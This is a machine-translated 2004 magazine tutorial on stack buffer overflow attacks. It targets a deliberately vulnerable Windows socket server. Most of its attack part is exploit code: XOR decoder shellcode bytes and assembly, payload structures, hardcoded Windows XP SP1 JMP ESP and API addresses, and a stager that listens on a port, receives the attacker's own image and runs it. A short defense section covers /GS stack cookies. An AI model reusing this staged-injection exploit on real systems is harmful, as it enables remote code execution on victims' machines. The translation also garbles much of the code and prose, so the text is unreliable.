The earliest published in this article "9CBS Development Master" 2004 No. 4
For a long time, in people's minds, "hackers" and viral authors are always covered with a mysterious aura. They are described by various media to describe technology masters and even technical genius, so that some people have to prove their own "genius". I'm going to be astrayed and even crimes. I remember that I have seen such a case: a computer professional graduate invaded a business website and deleted all data. When he accepted a reporter in prison, he was very proud to say that it was just to prove himself and got the sense of accomplishment.
The buffer overflow attack discussed in this paper is actually a very "old" technology, but its destructive power is still unwell - I believe that everyone has not forgotten "impact wave" before a few months. The code instance in the article is almost a real virus, some of which you may have not seen it, but I can be responsible that it doesn't use any deep technology, I don't enter Ring0, no write equipment driver, even The assembly code is only very simple in 11 sentences. I hope that this article will let everyone know "hacker" and viral authors, "pull" from the altar. I have to remind everyone that "postgraduate" as the previous car, do not abuse this technology, otherwise it will have to play with fire. Let's enter the topic.
What is a buffer overflow?
You must copy the string with strcpy? Then, what happens if the length of the buffer of the buffer of the copy time is less than the length of the source string, what happens? For pairs, excess characters in the source string override other data of the process. This phenomenon is called the buffer overflow. Depending on the position of the covered data, the buffer overflow is divided into a static storage area overflow, the stack overflows and the pile of overflows. After the overflow, there are three possible performances: one is normal, then, it is covered by useless data, and there is no access violation; the second is to run an error, including output errors and illegal operations; third It is attacked and the program starts to perform harmful code. At this time, what data is overwritten and what data is overwritten is carefully designed with an attacker.
Under normal circumstances, the buffer overflow vulnerability on a static storage area and a heap is unlikely to be utilized by an attacker. The vulnerability on the stack has great hazards, so our explanation is also an example of buffer overflow on the stack.
Attack principle
To attack, you can first find the target. So I prepared a program called "Victim" as an attack object, which is logically equivalent to the following code:
Void getComputername (socket SCK, LPSTR SZComputer)
{
Char szbuf [512];
RECV (SCK, SZBUF, SIZEOF (SZBUF), 0);
LPSTR SZFILENAME = SZBUF;
While (* szfilename) == '//')
SZFileName ;
While (* szfilename)! = '//' && (* szfilename)! = '/ 0')
{
* szcomputer = * szfilename;
SZComputer ;
SZFileName ;
}
* szcomputer = '/ 0';
}
Void showcomputername (Socket SCK)
{
Char szcomputer [16];
GetComputername (SCK, SZComputer);
// MOV ECX, DWORD PTR [ESP 4]
// Sub ESP, 10H; --- 2
// Lea Eax, [ESP]
// push eax // push ECX
// Call getcomputername (401000H)
Printf (SZComputer);
// Lea Edx, [ESP]
// push edx
// Call Printf (401103h)
}
// Add ESP, 14h
// Ret 4; --- 3
INT __CDECL Main (int Argc, char * argv [])
{
WSADATA WSA;
WSASTARTUP (Makeword (2, 2), & WSA);
Struct SockAddr_in Saserver;
Saserver.sin_family = af_INET;
Saserver.sin_port = 0xA05B; // Htons (23456)
Saserver.sin_addr.s_addr = addr_any;
Socket Scklisten = Socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
Bind (Scklisten, (SockAddr *) & Saserver, SizeOf (Saserver));
Listen (Scklisten, 2);
Socket Sckclient = Accept (Scklisten, Null, Null); // - 1
Showcomputername (SCKCLIENT);
CloseSocket (SCKCLIENT);
CloseSocket (Scklisten);
WSACLEANUP ();
Return 0;
} The ideality of the Victim program is the file name in the form of a Universal Naming Convent from the network, then separating the machine name from it and prints on the screen. Due to normal conditions, the machine name is only 16 bytes, so the showcomputername function is only assigned 16-word-wide buffer to SZComputer, and GetComputerName does not have any checks for the length of the buffer. In this way, a buffer overflow vulnerability appears in ShowComputername. Find a vulnerability, the next step is to analyze the vulnerability to find a specific attack method. Let's take a look at the results of ShowComputername, and each C / C statement below is the compiletable code corresponding to its compile. For these codes, I want to explain two points: 1 Here is the StdCall call convention, which is the most commonly used call convention in the Windows program, which will be used in this convention if there is no special instructions. Please refer to the relevant information. 2 Due to the compiler, the compilation option is different, the compile results may not be the same, the back attack code is written according to the above compilation results, I can't guarantee that it can also be implemented correctly in your environment. I labeled three labels in the program. The following figure is from left to right. The state and the state of the code corresponding to the three labels, and the point to the ESP register, each of which represents a word, that is, four bytes. . As can be seen from the figure, when MAIN calls ShowComputerName, the program first stacks it, and then the return address stack is performed after it is executed. After entering showcomputername, the program will adjust the ESP register to allocate storage space for local variables. The "RET 4" instruction executed when ShowComputername returned not only let the program jump to the return address to continue running, and will return the address, the function parameters are popped in the stack, and the stack is restored to the status before the call. Obviously, if the machine name in the UNC string exceeds 16 bytes, the function showcomputername will buffer overflow. In order to explain, I will start to analyze how to construct this string to make some "unexpected" code from the perspective of the attacker. You may have discovered that the return address of the function showcomputername is stored in the "Szcomputer 16". So, if we can change the return address to "SZComputer 20" and start fill in the data corresponding to the instructions we need from the address "SZComputer 20", then we can achieve the purpose. I am very happy that you can think of this, but this is impossible, because we must construct strings according to SZComputer, but also completed the string before the SZComputer determine. So, this way is not passing, we have to turn a bend. If you also notice that the CPU has executed "Ret 4" instruction, the ESP points to "Szcomputer 24", then you have seen where it is turned. In most cases, we can find a fixed address "JMP ESP" instruction in the address space of the process, and we only need to fill the address of this instruction in "SZComputer 16", then "SZComputer 24 "You can start filling in the attack instruction. In this way, when ShowComputername returns, the CPU executes the "RET 4" instruction, and then execute the "JMP ESP" instruction, the control is transferred to us. how about it? Very simple! However, you shouldn't be too happy to be too early, just the basic principles of the buffer overflow attack.
And theory is always a distance. To really complete the attack, we still have several tricky problems need to be solved. The first is how to deal with characters that do not allow the appearance in the string. In the above code, if a byte of the string we construct is 0 or "", getComputerName will refuse the data behind, so there is no one byte in our "computer name". or"/". "/" May be better to say, but a code "really doing something" does not include 0 almost impossible. How to solve this contradiction? The simplest method is different or. First write the real code and compile the result, I call it STUBCODE. Then find a number N, require 10 ≤ n ≤ 255; 2N is the character allowed to appear in the string; 3N is allowed to the characters that are allowed to appear after any byte of StubCode. Use n to be different from the stubcode by one byte or different or result. Obviously, to find such a n, stubcode can't be too long, just do some simple preparations, then load the follow-up code to complete more work, this is why I called Stubcode. In fact, the stubcode code also needs a stubcode. We call it Stubstubcode. Its task is to use n to distinguish the original appearance of StubCode with n with different or results, and then hand over the control to Stubcode. Stubstubcode is very short, only about 20 bytes, and it is possible to avoid unauthorized characters by careful design. Since the previous analysis has proven to be able to put a "JMP ESP" in the string we constructed, and modify the return address to point it, the second problem is to find "JMP ESP" instructions. You may think that the process itself is preferred because the EXE file has a fixed load address, as long as it contains this instruction, the address of the instruction is determined. But I have to regret to tell you, it is wrong. Although the EXE load address does not change, this address is generally lower, so the high byte of the address of "JMP ESP" found is definitely 0, it is not stubcode, we can't do it or handle it. If you have seen the "Realization of Process in the NT Environment", you must know that every process will load kernel32.dll, and its load address is fixed on the same operating system platform. Another important fact is that its load address is high enough to meet the requirements of 0 bytes. So we should go to the kernel32.dll to find it. But very unfortunate, in my WinXP SP1 system, a big kernel32.dll, there is no "JMP ESP" instruction hiding (I didn't have a try in other systems, you can be interested in yourself. try it). I have to return to the next time, I will find it in user32.dll, it has the status of only Kernel32.DLL in the system. In the end, I found the "JMP ESP" figure at the address 0x77d437db. The third question is how to call an API in StubCode. There is also a discussion in the article "Process Hide", but the situation is different from now, because there is no ready-made input table in StubCode, so we need to make a small "input table" as the parameter of Stubcode is written in the UNC string. STUBCODE also requires some other parameters, and I collect these parameters as stubparam. The UNC string constructed by stubstubcode, stubparam, stubcode, and other data is called STUB. Of course, it also needs to do or deal with StubParam to avoid illegal characters therein.
There is no direct addressing instruction in Stubcode. The reason is very obvious, and the solution is also very simple (don't use J), I will not say more. Attack Example Our Attack Program is called "attacker", after the attack is successful, it will make the Victim process pop up the message box. The first step of Attacker is to send Stub (which is the UNC string) to Victim, so let's take a look at the composition of Stub, as shown in the following figure: where the padding data 1 is used to populate all the content before returning the address This example is the space occupied by SZComputer; the return address is the address of the "JMP ESP" instruction; the fill data 2 is used to fill the content between the return address and the stubstubcode. This example is the space occupied by the parameter SCK; Stubstubcode, Stubparam and Stubcode front It has been talked; filling data 3 is used to dress Stub as a normal string, for example, 0 characters at the end of the end. In order to use more convenient, I defined several structures to represent the entire Stub. You can see that they are fixed to one byte alignment by the "#pragma pack", which is important because it can: 1 reduces the size of Stub. There are not many spaces available on the stack, so the smaller the stub is, the better the compiler from being inserted into the extra byte for alignment. If the compiler inserts an extra byte in StubstubCode or Stub, all our efforts will pay the east. #pragma Pack (Push)
#pragma pack (1)
Struct Stubstubcode
{
Byte Arrconst1 [4]; // 0x33, 0xc9, 0x66, 0xb9
Word wxorsize; // requires the size of data that is different or processed
Byte Arrconst2 [3]; // 0x8D, 0x74, 0x24
BYTE BYXOROFFSET; / / The starting position (relative to ESP offset) is required for different or processed code
Byte Arrconst3 [4]; // 0x56, 0x8a, 0x06, 0x34
Byte Byxormask; // Use this number or
Byte Arrconst4 [8]; // 0x88, 0x06, 0x46, 0xE2, 0xF7, 0x8D, 0x44, 0x24
BYTE BYENTRYOFFSET; / / StubCode code entry address (relative to ESP offset)
Byte Arrconst5 [2]; // 0xff, 0xD0
}
Struct stubparam
{
FXLOADLIBRARY FNLOADLIBRARY;
FxGetProcAddr FNGetProcaddr;
FXVIRTUALLOC FNVIRTUALLALLOC;
DWORD DWIMAGESIZE;
DWORD RVAATTACKERENTRY;
Char Szws2_32 [11]; //ws2_32.dll
Char szsocket [7]; // Socket
Char szbind [5]; // bind
Char szlisten [7]; // listen
Char Szaccept [7]; // ACCEPT
Char Szsend [5]; // send
Char SzRecv [5]; // RECV};
Struct stub
{
Byte arrpadding1 [18];
DWORD DWJMPESP;
Byte arrpadding2 [4];
Stubstubcode SSC;
Stubparam SP;
Byte Arrstubcode [1]; // In fact, this is a growing array
}
#pragma pack (POP)
StubstubCode corresponds to 11 assembled statements mentioned in this article. With reference to the overall structure of Stub, we don't have to write its specific implementation. XOR ECX, ECX
MOV CX, wxorsize; wxorsize is the size of data to be different or processed
Lea ESI, [ESP BYXOROFFSET]; BYXoroffset is the starting position of code that needs to be different or processing
PUSH ESI
Xormask: MOV Al, [ESI]
XOR Al, Byxormask; use Byxormask to vary or
MOV [ESI], Al
Inc ESI
Loop xormask
Lea Eax, [ESP BYENTRYOFFSET]; BYENTRYOFFSET is the entrance address of Stubcode
Call EAX
Several variables actually use constants, wxorsize is the size of data to be different or processed, that is, the size of StubParam and Stubcode; BYXoroffset is the offset of these data relative to the ESP register, From the structural diagram, it can be seen equal to "SIZEOF (StubstubCode), and after it adds ESP, it is the address of Stubparam. We have to pass this address to Stubcode, so immediately press it into the stack, please see The following related content; Byxormask is a different or mask, that is, the number n mentioned earlier n; BYENTRYOFFSET is the offset of StubCode relative to the ESP register, which is equal to "SIZEOF (Stubstubcode Sizeof (stubparam) 4", Add a 4 is because the front is compressed in the stack. The first two words of this code are useless to avoid 0 characters to avoid zero.
Compare the code and structure, understand it! Several arrays in the structure correspond to the fixed part of the assembly code, and the variables need to be modified frequently. This definition allows us to dynamically modify StubstubCode to reduce manual code maintenance. StubParam defines the parameters to be passed to Stubcode, it is relatively simple, I believe that when you finish reading, you can understand the meaning and role of each member. All data types prefixed with "FX" are the type of pointer, which will be encountered after. In STUB, I gave the first half-byte space that fill an array of 18 bytes, and more-out two bytes used to store "//" in the UNC string, this example is not necessary. Although Arrstubcode is only one-word, it is a growing array, saving stubcode and filling data 3 in the structural diagram. Below we enter the last part of Stub, and the most important part: stubcode, the code is as follows. Void WinApi stubcode (stubparam * psp)
{
Hinstance hws2_32 = psp-> fnloadLibrary (psp-> szws2_32); fxgetProcaddr FNGETPROCADDR = PSP-> FNGETPROCADDR;
FXSocket fnsocket = (fxsocket) FNGETPROCADDR (HWS2_32, PSP-> szsocket);
FXBIND FNBIND = (FXBIND) FNGETPROCADDR (HWS2_32, PSP-> SZBIND);
FxListen Fnlisten = (FXListen) FNGETPROCADDR (HWS2_32, PSP-> Szlisten);
FxAccept FnAccept = (FxAccept) FNGETPROCADDR (HWS2_32, PSP-> Szaccept);
Fxsend fnsend = (fxsend) FNGETPROCADDR (HWS2_32, PSP-> Szsend);
FXRECV FnRecv = (FXRECV) FNGETPROCADDR (HWS2_32, PSP-> SzRecv);
BYTE * BUF = (Byte *) PSP-> Fnvirtualalloc (NULL, PSP-> DwImagesize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Socket Scklisten = FNSocket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
Struct SockAddr_in Saserver;
Saserver.sin_family = af_INET;
Saserver.sin_port = 0x3930; // htons (12345)
Saserver.sin_addr.s_addr = addr_any;
Fnbind (Scklisten, (SockAddr *) & Saserver, SizeOf (Saserver);
Fnlisten (Scklisten, 2);
Socket Sckclient = FnAccept (Scklisten, Null, 0);
Fnsend (SCKCLIENT, (CONST Char *), 4, 0);
DWORD DWBYTESRECV = 0;
BYTE * POS = BUF;
While (DWBYTESRECV
{
DWBYTESRECV = FnRecv (Sckclient, (Char *) POS, 1024, 0);
POS = BUF DWBYTESRECV;
}
FXATTACKERENTRY FNATTACKERENTRY = (FXATTACKERENTRY) (BUF PSP-> RVAATTACKERENTRY);
FnattackerenTry (buf, psp-> fnloadlibrary, psp-> fngetProcaddr);
}
Void stubcodend () {} // this function matks the end of stubcode
Stubcode first get the handle of WS2_32.dll with LoadLibrary and gets the entry address of several API functions via getProcAddress. Then it assigns DwImagesize size memory with Virtualalloc, what is the use of this memory? It turns out that, like the "process hidden", we have to inject another PE file to the Victim process - actually atTacker's own image, so this memory is the space saved, and DwImagesize is the size of this image. . After it starts to listen on the 12345 port until you receive an Attacker connection request. After establishing a connection with Attacker, StubCode will immediately send the starting address of the memory you just allocated, and Attacker relocates its own copy according to this address, then send it back to Stubcode. Stubcode receives this copy to the memory that is just allocated. Attacker has another function "attackeentry", RVAATTACKERENTRY is the distance between this function and Attacker's load address. Through this distance, Stubcode can find the entrance to Attackeentry in the copy of Attacker, to transfer the control right to it. At this point, StubCode completed its own mission. Using LoadLibrary and getProcAddress in your code, are you not strange? If you really don't understand, please read the "process hide". Virtualalloc is also located in Kernel32.dll, so I will take care of the medicine. There is also an empty function "stubcode" in the code, although there is no done on the surface, but it has a very important task: I want to use it to calculate how much memory this function is, accordingly The size of the entire STUB. Use the following method: int nstubcodesize = (int) ((DWORD) stubcode) - (DWORD) - (DWORD) stubcode); I didn't find the basis for this, but in my environment, it It's really good! With STUB, we also need some code to fill it and inject it into Victim. The injection process is just a simple network communication, and it will not talk about the data fill. Bool pretedUB (stub * pstub) {
// Copy Const Data
Memcpy (Pstub, & g_stub, sizeof (stub));
// Prepare Stub Code param
PSTUB-> dwjmpesp = 0x77d437db; // These addresses apply
Pstub-> sp.fnloadLibrary = 0x77e5d961; // Victim runs running
Pstub-> sp.fngetProcaddr = 0x77E5B332; // WinXP Pro SP1 system
Pstub-> sp.fnvirtualallocc = 0x77e
5ac
Situation of 72; //
Pstub-> sp.dwimagesize = getImagesize (lpcbyte) g_hinst);
Pstub-> sp.rvaattackerenTry = ((DWORD) Attackeentry - (DWORD) G_HINST);
// Copy Stub Code
INT Nstubcodesize = (INT) ((DWORD) - (DWORD) ((DWORD) stubcode);
Memcpy (pstub-> arrstubcode, stubcode, nstubcoDesize);
// Find XOR Mask
INT NXORSIZE = (int) (stubparam nstubcoDesize);
LPBYTE PTMP = (LPBYTE) (& (PSTUB-> SP));
Byte Byxormask = getXormask (PTMP, NXORSIZE, (LPCBYTE) g_arrdisallow,
SizeOf (g_arrdisallow) / sizeof (g_arrdisallow [0]));
IF (byxormask == g_arrdisallow [0])
Return False;
// x i
For (int i = 0; i
* (PTMP I) ^ = byxormask;
// Fill Stubstubcode
Pstub-> ssc.wxorsize = (word) nxorsize; pstub-> ssc.byxormask = byxormask;
// DOES THE STUBSTUBCODE CONTAINS a Dislowed Char?
PTMP = (LPBYTE) (& (Pstub-> SSC));
For (i = 0; i
For (int J = 0; J
IF (* ptmp == g_arrdisallow [j])
Return False;
// Make it an "valid" File Name the Victim Wants
STRCPY (& (Pstub-> Arrstubcode [nstubcodesize]), g_szstubtail;
Return True;
}
Among them, PSTUB points to a pre-allocated memory area, which is calculated, absolutely not overrunned (we are doing this, and must solve its own problem first J); g_stub is a global variable of a stub type Save the fixed data in Stub; g_hinst is the handle of Attacker's process, which calls GetImagesize for the parameter to get the size of the ATTACKER memory image; G_arrDisallow is a character array, which is not allowed. Getxormask is used to calculate the mask for StubParam and StubCode to do or process, the code is as follows: Byte getXormask (LPCBYTE PDATA, INT NSIZE, LPCBYTE ArrdisAllow, int ncount)
{
Byte arrusage [256], by = 0;
MEMSET (Arrusage, 0, SIZEOF (Arrusage));
For (int i = 0; i
Arrusage [* (PDATA I)] = 1;
For (i = 0; i <256; i )
{
BY = (byte) i;
// xor mask can not be a dispialowed char
For (int J = 0; J
IF (arrdisallow [j] == by)
Break;
IF (j CONTINUE; // after xor, the data shop not contact a dispaLlowed char For (j = 0; J IF (Arrusage [ArrdisAllow [J] ^ BY] == 1) Break; IF (j> = ncount) Return by; } // We don't find it, return the first dispialowed char for an error Return ArrdiSallow [0]; } After the same is completed, PrePareStub wants to modify StubstubCode based on the data that is dynamically calculated. Since the data is dynamically calculated, it is necessary to make an inspection on the final stubstubcode, and there is no unauthorized character. Finally, it fills Stub as a complete UNC string with g_szstubtail, and the entire Stub's preparation work is done. As mentioned earlier, the Stubcode's task is to create an Attacker image in Victim, and then control the control to the attackeentry function inside. Thus, the second step of Attacker is to send itself a copy of the copy to Stubcode. The following code is to complete these tasks: ... DWORD DWNEWBASE, DWSIZE LPBYTE PIMAGE; Recv (SCK, (& DWNEWBASE), SIZEOF (DWORD), 0); DWSIZE = GetImagesize ((lpcbyte) g_hinst); PIMAGE = (LPBYTE) Virtualalloc (Null, DWSize, MEM_COMMIT, PAGE_READWRITE); Memcpy (pimage, (const void *) g_hinst, dwsize); Relocimage (Pimage, (DWORD) G_HINST, DWNEWBASE DOINJECT (SCK, PIMAGE, DWSIZE); ... Attacker first obtains the starting address of the memory it assigns from StubCode, this address is the image base address at ATTACKER in Victim. Then Attacker copied itself and repositioned this copy according to the new image base address, and the code of the relocimage is basically the same as "process hidden", which is no longer repeated. But note: By default, the linker does not generate a relocation table for the EXE file. So when link Attacker, add the parameter "/ fixed: no", and force the linker to generate a relocation table. DOINJECT completes the data transmission, and it is also a simple network communication, so I will not talk. In Victim, the control will eventually be passed to the hand of the following function. Void WinApi Attackeentry (LPBYTE PIMAGE, FXLOADLIBRARY FNLOADLIBRARY, FxGetProcaddr FNGetProcaddr) { g_hinst = (hinstance) PIMAGE; IF (LoadImportFX (Pimage, FnloadLibrary, FngetProcaddr)) Attackermain (g_hinst); EXITPROCESS (0); } It is very similar to the ThreadEntry in the "process hide", the biggest difference is that the last call EXITPROCESS ended Victim life. This is very understandable that Victim's stack passes through a series of attacks, it has been unless, if attackeentry returns normally, Victim will definitely pop up a tip dialog box. We are doing "bad things", do not want to be discovered, so let Victim quietly withdraw from the best choice. LoadImportFX and "Process Hide" are completely unable to repeat. As for Attackermain, mine is the following look. Your - go to you, please remember that you have to be responsible for you! DWORD WINAPI Attackermain (Hinstance Hinst) { Tchar Szname [64], SZMSG [128]; GetModuleFileName (null, szname, sizeof (szname) / sizeof (tchar)); _Stprintf (SZMSG, _T ("process /"% s / "existence buffer overflow vulnerability, hurry up!"), szname); Messagebox (Null, Szmsg, _T ("Haha"), MB_OK | MB_ICONITIONFORMATION Return 0; } Defense measures There is an attack, there is a defense, and the buffer overflows is large, but it is not difficult to prevent it. The easiest and effective method is careful when writing code. For example, in Victim, if we passed to the getComputerName a parameter to mark the length of the buffer, and check in getComputername, then the tragedy can avoid it. If you are lazy, don't want to do these trivia, the compiler can help you. Starting with VS.NET, the compiler supports a new option: / GS. When you open it, the compiler checks if each function has an overflow. If so, insert the detection code into this function, such as the previous showcomputername is processed, it will become similar to the following. Where __security_cookie is a global variable for the compiler insertion, when the process starts, it is initialized using a hash algorithm according to a large number of information, so its value has a good randomness (see the specific initialization process "seccinit. C "). Void showcomputername (Socket SCK) { DWORD_PTR COOKIE = __security_cookie; // Compiler inserted code Char szcomputer [16]; Recvcomputername (SCK, SZComputer); Printf (SZComputer); __security_check_cookie (cookie); // The code is inserted by the compiler } As shown by the code, after entering showcomputername, the first thing to make the program is to copy the value of the __security_cookie to the local variable cookie. Note: cookie is the first local variable of showcomputername, so it has a buffer overflow in the back address and other local variables in the stack, and if the string is copied to the SzComputer, the cookie is definitely the return address. It is covered, and its new value is almost unable to continue with __security_cookie, so the last __security_check_cookie can use the following code detection overflow (this code is not used for x86 CPU, but it is more easy to understand, and There is no difference in logically, please see "SECHK.C" in specific information. Void __fastcall __security_check_cookie (dword_ptr cookie) { / * Immediately Return if The Local Cookie is OK. * / IF (cookie == __security_cookie) Return; / * Report the failure * / Report_failure (); } The whole achievement is very simple and efficient, please try to see the effect. However, this mechanism is also inadequate, one is to detect the overflow to terminate the operation; the other is that all overflows cannot be detected, and there is fish. Please refer to the relevant information and experiments. Who is It is said that there is more than 50% of the above-mentioned root buffer overflow, and we don't care whether this figure is accurate, it does indicate the severity of the buffer overflows the hazard caused by the computer world. And people are also generally believed because the programmer's "accident" will have so many vulnerabilities. But should the responsibility should be a programmer? I don't think it is. First, the X86 CPU is designed to have some problems: the return address of the function is placed in the same stack in the same stack, giving the attacker to override the return address; and the stack has greatly improved the growth direction of the high address to the low address. This chance. Second, the C standard library design has a dangerous function similar to STRCPY in the case of the memory occupancy and execution efficiency. Of course, I don't want to blame their designers, I am not qualified, I just want to discuss more deeply to discuss the buffer overflow problem. Note: Stealing control is the most typical one in the buffer overflow attack method by overriding the address of the JMP ESP instruction. According to the specific situation, there are many other methods,